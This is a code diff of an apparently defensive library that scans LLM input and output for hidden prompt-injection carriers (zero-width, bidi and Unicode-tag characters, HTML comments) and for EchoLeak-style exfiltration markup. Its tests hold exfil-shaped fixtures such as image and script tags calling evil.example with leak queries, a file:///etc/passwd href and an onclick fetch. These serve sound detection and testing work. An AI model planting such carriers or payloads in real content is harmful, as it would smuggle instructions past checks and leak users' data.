|
||||
report.add(Finding(
|
||||
|
|
@ -336,6 +344,7 @@ def scan_output(
|
|||
# 6. Active-content constructs with an external target (the EchoLeak class,
|
||||
# OWASP LLM05) — reported here so disposition sees them; defanging stays
|
||||
# neutralize's separate, opt-in job.
|
||||
report.extend(scan_active_content(scan_text, source).findings)
|
||||
# scan_text is already <= cap, so no second oversize finding is emitted.
|
||||
report.extend(scan_active_content(scan_text, source, max_scan_chars).findings)
|
||||
|
||||
return report
|
||||
|
|
|
|||
|
|
@ -15,6 +15,8 @@ from __future__ import annotations
|
|||
import re
|
||||
from dataclasses import dataclass
|
||||
|
||||
from .calibration import MAX_INPUT_CHARS
|
||||
from .contract import assert_within_input_cap
|
||||
from .report import Finding, Report, Severity, Source
|
||||
|
||||
# Invisible / steganographic character classes (codepoints).
|
||||
|
|
@ -22,8 +24,77 @@ _ZERO_WIDTH = frozenset({0x200B, 0x200C, 0x200D, 0xFEFF, 0x00AD})
|
|||
_BIDI = frozenset({0x202A, 0x202B, 0x202C, 0x202D, 0x202E, 0x2066, 0x2067, 0x2068, 0x2069})
|
||||
_TAG_LO, _TAG_HI = 0xE0000, 0xE007F # Unicode Tags block (U+E0000–U+E007F)
|
||||
|
||||
# Span carriers. Lazy `.*?` + explicit terminator — no catastrophic backtracking.
|
||||
_HTML_COMMENT_RE = re.compile(r"<!--.*?-->", re.DOTALL)
|
||||
# ZWJ (U+200D) is the one zero-width codepoint with a legitimate, extremely
|
||||
# common use: it composes emoji. 👩💻 is WOMAN + ZWJ + PERSONAL COMPUTER, and
|
||||
# families, skin-tone professions and flag variants are all built the same way.
|
||||
# Testing membership alone therefore flagged — and *stripped* — the joiner in any
|
||||
# first-party document containing such an emoji, which `disposition` grades as an
|
||||
# any-tier carrier (FAIL_SECURE, no appeal). The strip was the worse half: it
|
||||
# silently decomposed 👩💻 into two unrelated emoji, so `sanitize` corrupted
|
||||
# content it was only ever supposed to remove carriers from.
|
||||
#
|
||||
# The fix is the one our own lexicon row `unicode:zero-width-in-word`
|
||||
# (`\w[ZW]\w`) already used: judge the joiner by CONTEXT, not identity. A ZWJ is
|
||||
# exempt only when BOTH neighbours are emoji-context codepoints — half-context is
|
||||
# not context, so `a<ZWJ>👩` stays a carrier and an attacker cannot buy exemption
|
||||
# with a single emoji.
|
||||
#
|
||||
# The ranges are blocks, not an emoji table. Measured against Unicode 17.0's
|
||||
# `emoji-zwj-sequences.txt`: 1614 RGI sequences use 122 distinct codepoints
|
||||
# adjacent to a ZWJ, and these five ranges cover 122/122. Blocks are the point —
|
||||
# shipping the RGI sequence list itself would be precise the day it landed and
|
||||
# stale at the next Unicode release, reintroducing this exact false positive for
|
||||
# every new emoji until someone bumped the file. Whole blocks include the
|
||||
# unassigned headroom (458 Cn codepoints here) that future emoji are allocated
|
||||
# into, so the table does not age.
|
||||
#
|
||||
# Residual, documented in LIMITATIONS: a ZWJ hidden *between two emoji* is
|
||||
# exempt and could carry a covert channel. It costs an emoji per bit and cannot
|
||||
# split a word, which is the shape the word-splitting attack actually needs.
|
||||
_EMOJI_CTX_RANGES = (
|
||||
(0x2190, 0x21FF), # Arrows — ↔ ↕ (U+2194/2195)
|
||||
(0x2600, 0x27BF), # Misc Symbols + Dingbats — ❤ ☠ ⚕ ⚧ ✈ ❄ ♀ ♂ ➡
|
||||
(0x2B00, 0x2BFF), # Misc Symbols & Arrows — ⬛ (U+2B1B)
|
||||
(0xFE0F, 0xFE0F), # VARIATION SELECTOR-16, the emoji presentation selector
|
||||
(0x1F000, 0x1FAFF), # Emoji planes, incl. skin-tone modifiers U+1F3FB–FF
|
||||
)
|
||||
|
||||
|
||||
def _is_emoji_context(cp: int) -> bool:
|
||||
"""True when ``cp`` may legitimately sit adjacent to an emoji-composing ZWJ."""
|
||||
return any(lo <= cp <= hi for lo, hi in _EMOJI_CTX_RANGES)
|
||||
|
||||
|
||||
def _is_joiner_in_emoji_sequence(text: str, i: int) -> bool:
|
||||
"""True when ``text[i]`` is a ZWJ composing an emoji rather than a carrier.
|
||||
|
||||
Requires an emoji-context codepoint on BOTH sides. A joiner at either edge of
|
||||
the document has no neighbour and so is never exempt.
|
||||
"""
|
||||
if i == 0 or i + 1 >= len(text):
|
||||
return False
|
||||
return _is_emoji_context(ord(text[i - 1])) and _is_emoji_context(ord(text[i + 1]))
|
||||
|
||||
# Span carriers.
|
||||
#
|
||||
# ReDoS note (OWASP LLM10). The comment stripper used to be `<!--.*?-->` with a
|
||||
# comment that absence of nesting meant no catastrophic backtracking. That claim
|
||||
# was wrong in the same way `output`'s was: a lazy run in front of a REQUIRED
|
||||
# literal costs a full tail rescan at *every* start position when the literal
|
||||
# never arrives, so `<!--` repeated to 100_000 chars measured 20.1s (exponent
|
||||
# 1.96–2.14 over four doublings) — and at the time this module, unlike
|
||||
# `scan_lexicon` / `scan_output`, applied no input cap, so nothing bounded that
|
||||
# above. MAX_INPUT_CHARS now does, but as a second line only: the cap bounds a
|
||||
# *future* quadratic pattern's damage, it does not make a quadratic one safe.
|
||||
#
|
||||
# Neither of the two fixes used elsewhere fits here. Excluding the opener (`<`)
|
||||
# from the run would drop every comment containing markup — `<!-- <b>x</b> -->`
|
||||
# is the ordinary case, not an edge one. Bounding the run would be a one-line
|
||||
# carrier bypass: a comment padded past the bound is exactly what this stripper
|
||||
# exists to remove. So the scan is done with `str.find`, which is linear and
|
||||
# semantically identical to the lazy regex — leftmost opener, nearest following
|
||||
# terminator, unterminated trailer left in place.
|
||||
_COMMENT_OPEN, _COMMENT_CLOSE = "<!--", "-->"
|
||||
# `data:` not preceded by a letter (so "metadata:" / "userdata:" do not match),
|
||||
# consuming up to the next whitespace / quote / angle bracket / closing paren.
|
||||
_DATA_URI_RE = re.compile(r"(?<![A-Za-z])data:[^\s'\"<>)]+", re.IGNORECASE)
|
||||
|
|
@ -43,6 +114,32 @@ def _redact(s: str, show_start: int = 12, show_end: int = 4) -> str:
|
|||
return f"{s[:show_start]}...{s[-show_end:]}"
|
||||
|
||||
|
||||
def _strip_html_comments(text: str) -> tuple[str, int]:
|
||||
"""Remove ``<!-- ... -->`` spans; return the cleaned text and the count.
|
||||
|
||||
Linear replacement for the quantifier form (see the ReDoS note above). An
|
||||
unterminated ``<!--`` is left verbatim, matching the regex it replaces.
|
||||
"""
|
||||
if _COMMENT_OPEN not in text:
|
||||
return text, 0
|
||||
out: list[str] = []
|
||||
pos = count = 0
|
||||
while True:
|
||||
start = text.find(_COMMENT_OPEN, pos)
|
||||
if start == -1:
|
||||
break
|
||||
end = text.find(_COMMENT_CLOSE, start + len(_COMMENT_OPEN))
|
||||
if end == -1: # unterminated — not a comment, keep the rest verbatim
|
||||
break
|
||||
out.append(text[pos:start])
|
||||
pos = end + len(_COMMENT_CLOSE)
|
||||
count += 1
|
||||
if not count:
|
||||
return text, 0
|
||||
out.append(text[pos:])
|
||||
return "".join(out), count
|
||||
|
||||
|
||||
def _decode_tags(codepoints: list[int]) -> str:
|
||||
"""Decode Unicode-tag codepoints to their hidden ASCII (cp - 0xE0000)."""
|
||||
out = []
|
||||
|
|
@ -52,8 +149,19 @@ def _decode_tags(codepoints: list[int]) -> str:
|
|||
return "".join(out)
|
||||
|
||||
|
||||
def sanitize(text: str, source: Source = Source.INPUT) -> SanitizeResult:
|
||||
"""Strip carrier classes from ``text`` and report per-class counts."""
|
||||
def sanitize(
|
||||
text: str,
|
||||
source: Source = Source.INPUT,
|
||||
max_input_chars: int = MAX_INPUT_CHARS,
|
||||
) -> SanitizeResult:
|
||||
"""Strip carrier classes from ``text`` and report per-class counts.
|
||||
|
||||
Raises :class:`~llm_ingestion_guard.contract.OversizeInputError` above
|
||||
``max_input_chars``: this is step 1 of the input path, so the refusal bounds
|
||||
the whole path, and a *partially* sanitized document is worse than none —
|
||||
the unstripped tail is where a carrier would be placed.
|
||||
"""
|
||||
assert_within_input_cap(text, surface="sanitize", max_input_chars=max_input_chars)
|
||||
report = Report()
|
||||
|
||||
# Character-class carriers: single pass, keep everything else verbatim.
|
||||
|
|
@ -61,9 +169,11 @@ def sanitize(text: str, source: Source = Source.INPUT) -> SanitizeResult:
|
|||
bidi = 0
|
||||
tag_cps: list[int] = []
|
||||
kept: list[str] = []
|
||||
for ch in text:
|
||||
for i, ch in enumerate(text):
|
||||
cp = ord(ch)
|
||||
if cp in _ZERO_WIDTH:
|
||||
if cp == 0x200D and _is_joiner_in_emoji_sequence(text, i):
|
||||
kept.append(ch) # composing an emoji, not carrying a payload
|
||||
elif cp in _ZERO_WIDTH:
|
||||
zero_width += 1
|
||||
elif cp in _BIDI:
|
||||
bidi += 1
|
||||
|
|
@ -75,7 +185,7 @@ def sanitize(text: str, source: Source = Source.INPUT) -> SanitizeResult:
|
|||
cleaned = "".join(kept) if (zero_width or bidi or tag_cps) else text
|
||||
|
||||
# Span carriers.
|
||||
cleaned, n_comments = _HTML_COMMENT_RE.subn("", cleaned)
|
||||
cleaned, n_comments = _strip_html_comments(cleaned)
|
||||
cleaned, n_data = _DATA_URI_RE.subn("", cleaned)
|
||||
|
||||
if zero_width:
|
||||
|
|
|
|||
38
tests/redos_clock.py
Normal file
38
tests/redos_clock.py
Normal file
|
|
@ -0,0 +1,38 @@
|
|||
"""The one clock every ReDoS bound in this suite is measured against.
|
||||
|
||||
Process CPU time, not wall clock: a ReDoS blowup is spent cycles, and a loaded
|
||||
machine steals wall clock without adding any. In 0.7.0 these bounds ran on
|
||||
``time.monotonic()`` and two of them failed at 2.24s / 3.66s against a 2.0s
|
||||
bound while two census processes had the CPU; the same rows passed 3/3 on an
|
||||
idle machine. The scans had not slowed down — they were descheduled.
|
||||
|
||||
This lives in its own module, imported by all six test files, rather than being
|
||||
copied into each. The suite already holds that rule for the code it measures
|
||||
("never re-implement a predicate you measure — import it"), and it binds harder
|
||||
here: ``test_output.py::test_the_redos_clock_ignores_time_this_process_did_not_spend``
|
||||
pins ONE implementation. Five copies would leave four of them unpinned and free
|
||||
to drift back to a wall clock without a single test going red.
|
||||
|
||||
What this clock gives up: a scan that BLOCKS forever burns no CPU, so it would
|
||||
hang the suite instead of failing it. Acceptable for every caller here — these
|
||||
scanners are pure regex over an in-memory string, with no I/O and no locks, so
|
||||
the only way they can be slow is by spending cycles. That is not a concession
|
||||
made grudgingly per row: ``test_pathological_input_returns_within_a_bound`` was
|
||||
the last holdout, kept on a wall clock precisely to catch a blocking hang, and
|
||||
it was retired once the path was checked for anything that could block and
|
||||
found to contain none. A wall clock that guards an impossible mode still
|
||||
charges the full false-red premium — measured there at 21.6s against a 10.0s
|
||||
bound under load, on a scan that spent 7.6s.
|
||||
"""
|
||||
import time
|
||||
|
||||
|
||||
def scan_seconds(scanner, payload) -> float:
|
||||
"""CPU seconds ``scanner(payload)`` cost.
|
||||
|
||||
Pinned by ``test_the_redos_clock_ignores_time_this_process_did_not_spend``
|
||||
in ``test_output.py``, which carries the measurements behind the choice.
|
||||
"""
|
||||
start = time.process_time()
|
||||
scanner(payload)
|
||||
return time.process_time() - start
|
||||
|
|
@ -27,6 +27,7 @@ from llm_ingestion_guard import (
|
|||
)
|
||||
from llm_ingestion_guard.okf import import_bundle, Origin, Channel
|
||||
from llm_ingestion_guard.report import Severity, Source
|
||||
from redos_clock import scan_seconds
|
||||
|
||||
# The zero-click EchoLeak primitive: an auto-fetched markdown image URL.
|
||||
_ECHOLEAK = ""
|
||||
|
|
@ -265,32 +266,245 @@ def test_default_source_is_output_and_override_respected():
|
|||
# Documented in docs/LIMITATIONS.md. Pinned so the concessions stay honest: a
|
||||
# closed over-block should fail here and force the doc to be updated.
|
||||
|
||||
# --- the carrier split and the no-URL narrowing (0.7.0) ----------------------
|
||||
# Two changes that had to ship together: measured alone they free 9 / 21 of
|
||||
# vendor-harvest's 62 fail_secure documents, together 43 of an achievable 44.
|
||||
# They co-occur — the no-URL narrowing removes a document's `</a>` and `<Frame>`
|
||||
# tags, and what is left is the `<a href=...>` the carrier split grades down, so
|
||||
# each change alone leaves the document blocked by the other's residue. Method
|
||||
# and numbers: `docs/rawhtml-census.py`.
|
||||
|
||||
def test_raw_anchor_is_the_link_class_at_medium():
|
||||
# Following an anchor needs a human, exactly like a markdown inline link —
|
||||
# which has been MEDIUM since 0.3.1. The same URL was HIGH here and LOW as
|
||||
# `[t](...)`, an asymmetry that came from syntax, not affordance.
|
||||
finding = [f for f in scan_active_content(
|
||||
'<a href="https://evil.example/go?d=account">t</a>').findings
|
||||
if f.label == "active:raw-html-link"]
|
||||
assert len(finding) == 1, "anchor not reported as the link class"
|
||||
assert finding[0].severity is Severity.MEDIUM, finding[0].severity
|
||||
|
||||
|
||||
def test_zero_click_carriers_keep_raw_html_at_high():
|
||||
# The split moves ONLY the click-required carriers. Anything a renderer
|
||||
# fetches or executes unattended stays where it was.
|
||||
for text in ('<img src="https://evil.example/leak?d=x">',
|
||||
'<iframe src="https://evil.example/x">',
|
||||
"<script>fetch('https://evil.example/x')</script>"):
|
||||
finding = [f for f in scan_active_content(text).findings
|
||||
if f.label == "active:raw-html"]
|
||||
assert finding and finding[0].severity is Severity.HIGH, text
|
||||
|
||||
|
||||
def test_event_handler_on_an_anchor_stays_high():
|
||||
# An `onclick=` anchor is execute-class, not click-required-carrier class.
|
||||
# The handler test runs BEFORE the name test, so the split cannot grade an
|
||||
# XSS carrier down to MEDIUM.
|
||||
labels = {f.label for f in scan_active_content(
|
||||
'<a href="https://x.example/p" onclick="fetch(1)">t</a>').findings}
|
||||
assert "active:raw-html" in labels
|
||||
assert "active:raw-html-link" not in labels
|
||||
|
||||
|
||||
def test_mixed_document_reports_both_classes_separately():
|
||||
# The class collapses to one finding, so a document carrying both must not
|
||||
# lose the anchor behind the script — nor grade the script down to the
|
||||
# anchor's severity.
|
||||
report = scan_active_content(
|
||||
'<script>x()</script> and <a href="https://x.example/p?d=1">t</a>')
|
||||
by_label = {f.label: f for f in report.findings}
|
||||
assert by_label["active:raw-html"].severity is Severity.HIGH
|
||||
assert by_label["active:raw-html-link"].severity is Severity.MEDIUM
|
||||
|
||||
|
||||
def test_link_class_has_no_ordinary_form():
|
||||
# Raw HTML grades on carrier only, never on URL shape — measured: applying
|
||||
# `is_ordinary_url` to raw tags frees 1 / 1 / 0 documents, because real
|
||||
# vendor-doc image URLs are not ordinary. A third tier here would be a
|
||||
# severity nobody decided on.
|
||||
finding = [f for f in scan_active_content(
|
||||
'<a href="https://learn.microsoft.com/en-us/azure/overview">t</a>').findings
|
||||
if f.label == "active:raw-html-link"]
|
||||
assert finding and finding[0].severity is Severity.MEDIUM, finding
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,text", [
|
||||
# Fires on the URL-attr branch although the target is a relative doc route,
|
||||
# which cannot reach an attacker-controlled host. `Card` is not in the active
|
||||
# name set — the href alone carries it.
|
||||
("relative-href-on-inactive-name",
|
||||
'<Card title="Quickstart" icon="play" href="/en/agent-sdk/quickstart">'),
|
||||
# Fires on the *name* branch: names are lower-cased and `frame` is in the
|
||||
# active set (legacy HTML framesets), while `Frame` is a common MDX component.
|
||||
# `</a>` — 146 occurrences inside vendor-harvest's fail_secure documents.
|
||||
("end-tag-names-no-target", "</a>"),
|
||||
# `<Frame>` / `</Frame>` — a common MDX wrapper component, 94 occurrences.
|
||||
("mdx-component-named-like-a-tag", "<Frame>"),
|
||||
("mdx-component-end-tag", "</Frame>"),
|
||||
# `<video />`, 19 occurrences: a self-closing media tag naming no source.
|
||||
("self-closing-media", "<video />"),
|
||||
("anchor-without-href", "<a />"),
|
||||
# An `<img>` carrying alt text but no `src` fetches nothing.
|
||||
("img-without-src", '<img alt="Diagram of the agent loop">'),
|
||||
])
|
||||
def test_raw_html_overblocks_are_still_high(cid, text):
|
||||
def test_url_affordance_tag_without_a_url_is_not_active(cid, text):
|
||||
# A tag whose whole affordance IS the URL it names, carrying no URL
|
||||
# attribute at all, has no affordance in any renderer — the argument 0.6.0
|
||||
# already accepted for `<base />`, applied to the rest of the name branch.
|
||||
assert not [f for f in scan_active_content(text).findings
|
||||
if f.label.startswith("active:raw-html")], cid
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,text", [
|
||||
("relative-src-still-active", '<img src="/local/diagram.png">'),
|
||||
("relative-href-still-active", '<a href="/en/quickstart">t</a>'),
|
||||
# The narrowing tests for the ATTRIBUTE's presence, not for a readable value:
|
||||
# a value the parser cannot resolve must over-block, never under-block. The
|
||||
# corpora carry 0 of these today, which is empirical, not structural.
|
||||
("unreadable-value-fails-secure", "<img src= >"),
|
||||
("event-handler-without-url", '<a onclick="fetch(1)">t</a>'),
|
||||
])
|
||||
def test_url_affordance_narrowing_only_frees_the_attribute_less(cid, text):
|
||||
assert [f for f in scan_active_content(text).findings
|
||||
if f.label.startswith("active:raw-html")], cid
|
||||
|
||||
|
||||
def test_unknown_name_with_an_external_url_stays_high():
|
||||
# The url-attribute branch is deliberately NOT in the link class: a tag
|
||||
# outside the known name set has unknown rendering, and `href` is not the
|
||||
# only URL attribute it may carry. Measured cost of the conservative line:
|
||||
# one document per wiki corpus.
|
||||
finding = [f for f in scan_active_content(
|
||||
'<Card title="Docs" href="https://evil.example/leak?d=x">').findings
|
||||
if f.label == "active:raw-html"]
|
||||
assert len(finding) == 1 and finding[0].severity is Severity.HIGH, finding
|
||||
|
||||
|
||||
# --- the two over-blocks CLOSED in 0.6.0 (the `A + base-url` narrowing) -------
|
||||
# Measured together, never one at a time: the classes co-occur, so a document
|
||||
# blocked by both is freed by neither alone. On the reference corpus the pair
|
||||
# frees 25 of 133 non-WARN documents; on the two wiki corpora, 2 each. Recall is
|
||||
# unchanged (128/128 + 6/6). Method and numbers: `docs/rawhtml-census.py`.
|
||||
|
||||
def test_relative_url_attr_on_an_inactive_name_is_not_active():
|
||||
# `_URL_ATTR_RE` is a presence test, so a doc-relative route on a name outside
|
||||
# the active set used to carry HIGH on its own. A relative target resolves
|
||||
# against the rendering host and reaches nothing attacker-controlled — the rule
|
||||
# the markdown paths have applied since 0.3.1.
|
||||
assert not [
|
||||
f for f in scan_active_content(
|
||||
'<Card title="Quickstart" icon="play" href="/en/agent-sdk/quickstart">'
|
||||
).findings if f.label == "active:raw-html"
|
||||
]
|
||||
|
||||
|
||||
def test_attributeless_base_is_not_active():
|
||||
# `<base>`'s whole affordance is its `href`, which the URL-attribute branch
|
||||
# still catches (below). An attribute-less `<base />` — Azure APIM policy XML,
|
||||
# 25 documents in the reference corpus — has no affordance in any renderer.
|
||||
assert not [f for f in scan_active_content("<base />").findings
|
||||
if f.label == "active:raw-html"]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,text", [
|
||||
("absolute", '<Card title="Docs" href="https://evil.example/leak?d=x">'),
|
||||
("protocol-relative", '<Card href="//evil.example/leak">'),
|
||||
("non-http-scheme", '<Card href="file:///etc/passwd">'),
|
||||
("base-keeps-its-href", '<base href="https://evil.example/">'),
|
||||
# `srcset` is a comma-separated candidate list. A relative FIRST candidate must
|
||||
# not mask an external one behind it — the value is not one URL.
|
||||
("srcset-second-candidate", '<Card srcset="a.png 1x, https://evil.example/b.png 2x">'),
|
||||
# The value parser saw the attribute but can resolve no value. The gap must
|
||||
# over-block, never under-block.
|
||||
("unreadable-value-fails-secure", "<Card href= >"),
|
||||
])
|
||||
def test_external_url_attr_is_still_active(cid, text):
|
||||
finding = [f for f in scan_active_content(text).findings
|
||||
if f.label == "active:raw-html"]
|
||||
assert len(finding) == 1, f"{cid}: raw-html not reported"
|
||||
assert finding[0].severity is Severity.HIGH, f"{cid}: {finding[0].severity}"
|
||||
|
||||
|
||||
def test_raw_html_counts_end_tags():
|
||||
# `</a>` is active by name on its own, so a corpus census counting only opening
|
||||
# tags understates this detector's `count`. The class still collapses to ONE
|
||||
# finding — the count is what moves.
|
||||
solo = [f for f in scan_active_content("</a>").findings
|
||||
if f.label == "active:raw-html"]
|
||||
assert len(solo) == 1 and solo[0].count == 1
|
||||
def test_raw_html_no_longer_counts_end_tags():
|
||||
# Through 0.6.1 `</a>` was active by name on its own, so `count` ran roughly
|
||||
# 1.6x the opening-tag total and a start/end pair counted 2. The no-URL
|
||||
# narrowing makes an end tag inert — it names no target — so `count` is now
|
||||
# the opening-tag total. This is a PUBLISHED field moving: a consumer reading
|
||||
# `count` sees it drop for every document carrying `</a>`.
|
||||
assert not [f for f in scan_active_content("</a>").findings
|
||||
if f.label.startswith("active:raw-html")]
|
||||
|
||||
pair = [f for f in scan_active_content('<a href="https://x.example/p">t</a>').findings
|
||||
if f.label == "active:raw-html"]
|
||||
if f.label == "active:raw-html-link"]
|
||||
assert len(pair) == 1, "a start/end pair must not split into two findings"
|
||||
assert pair[0].count == 2, f"end tag not counted: {pair[0].count}"
|
||||
assert pair[0].count == 1, f"end tag still counted: {pair[0].count}"
|
||||
|
||||
|
||||
# --- self-safety (OWASP LLM10): the long-attribute arm -----------------------
|
||||
# The `_REDOS_PAYLOADS` rows in test_output.py attack tags that never CLOSE, so
|
||||
# `HTML_TAG_RE` fails and the tag body is never handed on. This arm is the
|
||||
# opposite: the tag closes, and its body is long. `_tag` then runs
|
||||
# `URL_IN_TEXT_RE` over it, whose scheme run sits in front of a required `://`
|
||||
# that never arrives — 12.99s at 100_000 chars through this scanner, exponent
|
||||
# 1.87-2.06 over four doublings, with no input cap on this entry point at all.
|
||||
# Missed by the 0.3.2 sweep because a repeating-unit payload cannot express
|
||||
# "one tag, long body"; found by docs/redos-sweep.py generalised past lexicon.
|
||||
_ATTR_REDOS_N = 100_000
|
||||
|
||||
|
||||
def test_crafted_long_attribute_tag_stays_bounded():
|
||||
# The carrier is `<script `, not the `<a ` this row shipped with through
|
||||
# 0.7.0, because 0.7.0's own no-URL narrowing killed the row: `<a>` is in
|
||||
# `_URL_AFFORDANCE_TAGS`, so a bare `<a ...>` carrying no URL attribute is
|
||||
# inert and returns BEFORE its body reaches `URL_IN_TEXT_RE` — the arm this
|
||||
# row exists to guard. Re-measured here with the pre-fix uncapped scheme run
|
||||
# patched back in, at _ATTR_REDOS_N through `scan_active_content`:
|
||||
#
|
||||
# <a ...> 0.041s and NO findings <- dead: never reaches the arm
|
||||
# <script ...> 19.349s and one finding <- the arm, still quadratic
|
||||
#
|
||||
# So the `<a ` row was green against the vulnerable form — separation 1.2x,
|
||||
# zero signal. With `<script ` it is 0.052s shipped vs 19.349s vulnerable,
|
||||
# 373x apart, with the bound 38x above the shipped side. `<script>` is the
|
||||
# durable carrier: active by NAME with no attributes at all, so no future
|
||||
# URL-shaped narrowing can make it inert the way it just did to `<a >`.
|
||||
# Same fix, same reason, as test_output.py::test_gate_is_bounded_on_the_
|
||||
# long_attribute_arm — the composed-gate twin of this row.
|
||||
payload = "<script " + "A" * _ATTR_REDOS_N + ">"
|
||||
assert scan_seconds(scan_active_content, payload) < 2.0
|
||||
|
||||
|
||||
def test_url_defanging_survives_the_redos_fix():
|
||||
# Recall parity for the evidence defanger, including the two forms a
|
||||
# lookbehind-based fix would have dropped (`-` / `.` immediately before the
|
||||
# scheme), which is why the scheme run is bounded instead.
|
||||
for raw, expected in (
|
||||
("<a href=http://evil.com>", "hxxp"),
|
||||
("<a href=-http://evil.com>", "hxxp"),
|
||||
("<a href=.http://x.com>", "hxxp"),
|
||||
('<a href="https://a.b/c">', "hxxps"),
|
||||
):
|
||||
report = scan_active_content(raw)
|
||||
evidence = " ".join(f.evidence or "" for f in report.findings)
|
||||
assert expected in evidence, raw
|
||||
assert "http://" not in evidence and "https://" not in evidence, raw
|
||||
|
||||
|
||||
# --- self-safety (OWASP LLM10) ----------------------------------------------
|
||||
#
|
||||
# Reached through `scan_output` this detector inherits that surface's cap. Called
|
||||
# directly — the shape an adapter reaches for when it wants the active-content
|
||||
# classes alone — it had none. It is detection-shaped, so it truncates and flags
|
||||
# rather than raising the way the transform surfaces do: what a shortened scan
|
||||
# costs is coverage of the tail, not the caller's content.
|
||||
|
||||
def test_oversize_input_is_capped_and_flagged():
|
||||
big = "x" * 200 + "\n\n"
|
||||
report = scan_active_content(big, max_scan_chars=50)
|
||||
|
||||
oversize = [f for f in report.findings if "oversize" in f.label]
|
||||
assert len(oversize) == 1
|
||||
assert oversize[0].owasp == "LLM10"
|
||||
assert oversize[0].count == len(big)
|
||||
# Prefix only: the construct past the cap is not reported. This is the cost
|
||||
# the flag exists to announce, so assert it rather than assume it.
|
||||
assert not [f for f in report.findings if f.label == "active:markdown-image"]
|
||||
|
||||
|
||||
def test_input_exactly_at_the_cap_is_not_flagged():
|
||||
# The cap is the largest scanned size, not the smallest truncated one.
|
||||
report = scan_active_content("x" * 50, max_scan_chars=50)
|
||||
assert not [f for f in report.findings if "oversize" in f.label]
|
||||
|
|
|
|||
|
|
@ -60,6 +60,7 @@ def test_active_content_severity_frozen():
|
|||
"reference-link": Severity.MEDIUM,
|
||||
"autolink": Severity.MEDIUM,
|
||||
"raw-html": Severity.HIGH,
|
||||
"raw-html-link": Severity.MEDIUM,
|
||||
"data-uri": Severity.HIGH,
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -27,9 +27,12 @@ from llm_ingestion_guard import (
|
|||
Report,
|
||||
Source,
|
||||
Disposition,
|
||||
Risk,
|
||||
DEFAULT_ACTION_MAP,
|
||||
PRESET_TRUSTED_SOURCE,
|
||||
PRESET_USER_UPLOAD,
|
||||
)
|
||||
from llm_ingestion_guard.calibration import RISK_RANK
|
||||
|
||||
|
||||
def _scan_input(text: str) -> Report:
|
||||
|
|
@ -147,6 +150,24 @@ def test_false_positive_is_not_blocked_on_the_upload_gate(cid, text):
|
|||
f"{cid} wrongly disposed {decision.disposition.value}: {decision.reasons}")
|
||||
|
||||
|
||||
# --- the metric behind the published false-positive rate --------------------
|
||||
|
||||
|
||||
def test_the_published_fp_metric_is_a_risk_statement():
|
||||
"""`docs/fp-sweep.py` measures benign corpora as *documents disposed
|
||||
non-WARN*, and `docs/LIMITATIONS.md` publishes those counts as a statement
|
||||
about assessed risk. The two are the same statement only while the default
|
||||
action map sends exactly ``NONE`` and ``LOW`` to WARN. Re-map that — an
|
||||
`action_map` is a supported override as of the axis separation — and the
|
||||
published number silently becomes a different claim with nothing failing.
|
||||
Pinned here, beside the corpus the method was designed on."""
|
||||
elevated = RISK_RANK[Risk.ELEVATED.value]
|
||||
for risk in Risk:
|
||||
assert (DEFAULT_ACTION_MAP[risk] is Disposition.WARN) == (
|
||||
RISK_RANK[risk.value] < elevated
|
||||
), f"{risk.value} breaks the equivalence the published rate rests on"
|
||||
|
||||
|
||||
# --- counter-corpus: exfil-SHAPED URLs must keep hard-failing ---------------
|
||||
# The dangerous half of the 0.3.1 recalibration. Loosening ordinary carriers is
|
||||
# only honest if the EchoLeak class still blocks, so every URL form that can
|
||||
|
|
|
|||
|
|
@ -5,10 +5,12 @@ import pytest
|
|||
|
||||
from llm_ingestion_guard.report import Finding, Report, Severity, Source
|
||||
from llm_ingestion_guard.disposition import (
|
||||
DEFAULT_ACTION_MAP,
|
||||
Disposition,
|
||||
DispositionResult,
|
||||
Policy,
|
||||
Provenance,
|
||||
Risk,
|
||||
Trust,
|
||||
decide,
|
||||
guard,
|
||||
|
|
@ -258,3 +260,115 @@ def test_floor_and_escalation_compose_to_fail_secure():
|
|||
_finding(severity=Severity.MEDIUM, label="entropy:base64", detector="entropy"),
|
||||
)
|
||||
assert decide(report, PRESET_USER_UPLOAD).disposition is Disposition.FAIL_SECURE
|
||||
|
||||
|
||||
# --- 0.5.0 axis separation: assessment (how dangerous) vs disposition (what to
|
||||
# --- do). PLAN-v1.md:294/:380 — change DISPOSITION, never the grading.
|
||||
#
|
||||
# `Disposition` is three *actions*, but BRIEF principle 4 says the library
|
||||
# reports and the *pipeline* decides. `decide` therefore returned an action it
|
||||
# cannot enforce, and a consumer wanting a different action had to re-derive it
|
||||
# from that action — the assessment which produced it was already gone. That is
|
||||
# why a consumer ends up pinning the *grading*: the action is all they get. The
|
||||
# assessment axis hands them the input instead of the verdict.
|
||||
|
||||
|
||||
def test_result_carries_an_assessment_distinct_from_the_disposition():
|
||||
# The payoff: a clean report and a LOW-severity report are BOTH `WARN`
|
||||
# today, and indistinguishable without re-reading the report. The assessment
|
||||
# axis separates them while leaving the action identical.
|
||||
clean = decide(_report(), UNTRUSTED)
|
||||
low = decide(_report(_finding(severity=Severity.LOW, label="active:markdown-link")),
|
||||
UNTRUSTED)
|
||||
|
||||
assert clean.disposition is Disposition.WARN
|
||||
assert low.disposition is Disposition.WARN # action: identical
|
||||
assert clean.assessment is Risk.NONE
|
||||
assert low.assessment is Risk.LOW # assessment: distinct
|
||||
|
||||
|
||||
def test_default_action_map_reproduces_todays_outcomes():
|
||||
# The default mapping is a no-op by construction: this is the contract that
|
||||
# keeps `PRESET_USER_UPLOAD` grading untouched (locked promise 1).
|
||||
assert DEFAULT_ACTION_MAP == {
|
||||
Risk.NONE: Disposition.WARN,
|
||||
Risk.LOW: Disposition.WARN,
|
||||
Risk.ELEVATED: Disposition.QUARANTINE_REVIEW,
|
||||
Risk.SEVERE: Disposition.FAIL_SECURE,
|
||||
}
|
||||
|
||||
|
||||
@pytest.mark.parametrize("severity,policy,provenance,expected_risk", [
|
||||
(Severity.CRITICAL, TRUSTED, Provenance.PROSE, Risk.SEVERE),
|
||||
(Severity.HIGH, TRUSTED, Provenance.PROSE, Risk.LOW),
|
||||
(Severity.HIGH, TRUSTED, Provenance.CODE_FENCE, Risk.SEVERE),
|
||||
(Severity.HIGH, UNTRUSTED, Provenance.PROSE, Risk.SEVERE),
|
||||
(Severity.MEDIUM, TRUSTED, Provenance.PROSE, Risk.LOW),
|
||||
(Severity.MEDIUM, UNTRUSTED, Provenance.PROSE, Risk.ELEVATED),
|
||||
